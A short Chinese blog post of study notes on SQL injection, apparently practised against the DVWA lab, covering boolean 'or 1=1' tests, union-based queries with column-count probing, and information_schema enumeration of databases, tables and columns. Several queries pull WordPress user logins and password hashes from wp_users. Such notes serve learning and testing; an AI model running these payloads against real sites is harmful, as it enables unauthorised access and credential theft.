首页 > 数据库 >SQL

SQL

时间:2022-10-29 21:55:35浏览次数:45  
标签:users union SQL user mysql select SCHEMA


1. bool查询 or 1=1 只能查到这张表的记录
2.union查询 可以查到其他表的数据()
mysql> select user,password,host from mysql.user union select user_login,user_pass,3 from wordpress.wp_users;

a.得知道前面查的表的字段数,前后的字段数目得一样,可以用union select 1,2,3; 试出来
b.得知道后面的表的字段的名称 和前面的表个数一样 可以用数字凑够个数


select * from dvwa.users where 1=2 union select user_login,user_pass1,1,2,3,4 from wordpress.wp_users; 不想显示前面的表的数据,可以where 1=2


information_schema库(两个表TABLES和columns)

查库名
mysql> select DISTINCT TABLE_SCHEMA from information_schema.TABLES; //等价于show databases

查表名
mysql> select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA='dvwa'; //等价于show tables

查字段名
mysql> select column_name from INFORMATION_SCHEMA.columns where table_schema='dvwa' and table_name='users';

标签:users,union,SQL,user,mysql,select,SCHEMA
From: https://www.cnblogs.com/yitian395/p/16839977.html

相关文章

  • Windows Server 2008+IIS+php+MySQL环境搭建
    Win2008+IIS+php+MySQL环境搭建一、Windows环境操作系统:WindowsServer2008R2IIS版本:IIS7.5PHP版本:php5.6.9MySQL版本:MySQL5.7.40二、部署IIS1、打......
  • 快读《ASP.NET Core技术内幕与项目实战》EFCore2.7:杂项(查看SQL、查询筛选器、原生SQL
    本节内容,涉及4.5(P96-P97)、5.2(P131-P141)。主要NuGet包:如前章节所述 一、查看SQL语句,调试LINQ语句//在DbContext类的OnConfiguring方式中,增加显示SQL的配置。即可在控制......
  • SQL高级属性-事务
    事务是在数据库上按照一定逻辑顺序执行的任务队列,既可以由用户手动执行,也可以由某种数据库程序自动执行事务的属性A原子性:保证事务中所有操作都执行完毕,否则,事务......
  • MySQL数据库数据类型
    MySQL数据库数据类型 MySQL数据类型,大致可以分为三类:数值、日期/时间和字符串(字符)类型。 数值类型:类型大小范围(有符号)范围(无符号)用途TINY......
  • Mysql日期函数
    --当前年SELECTDATE_FORMAT(NOW(),'%Y');--当前年月SELECTDATE_FORMAT(NOW(),'%Y%m');--当前年月日SELECTDATE_FORMAT(NOW(),'%Y%m%d');--当前年月日时......
  • mysql高可用架构了解
    转自:https://www.cnblogs.com/gomysql/p/3675429.html,https://www.cnblogs.com/gomysql/p/3671896.htmlhttps://cloud.tencent.com/developer/article/10315421.MHA  ......
  • mysql longer than the server configured value of ‘wait_timeout‘
    问题现象:com.mysql.jdbc.CommunicationsException:Thelastpacketsuccessfullyreceivedfromtheserverwas58129secondsago.Thelastpacketsentsuccessfullyto......
  • MySQL高级篇-第01章 Linux下MySQL的安装与使用
    1.安装前的说明1.1Linux系统以及工具的准备安装并启动好两台虚拟机CentOS7(192.168.31.200,192.168.31.201)安装xshell和xftp工具1.2查看是否安装过MySQLrpm-qa|gre......
  • 1418 - This function has none of DETERMINISTIC, NO SQL, or READS SQL DATA in
    原因分析:我们创建函数时必须指定我们的函数是否是DETERMINISTIC不确定的NOSQL没有SQl语句,当然也不会修改数据READSSQLDATA只是读取数据,当然也不会修改数据MODIFIES......
  • 达梦数据库运维常用基础SQL(三)
    作为数据库DBA运维人员,经常需要查询和监控数据库的运行情况,定位某些问题,为此我们整理出部分常用SQL,帮助大家更好的使用达梦数据库。本次整理出数据库对象信息、用户、权限、......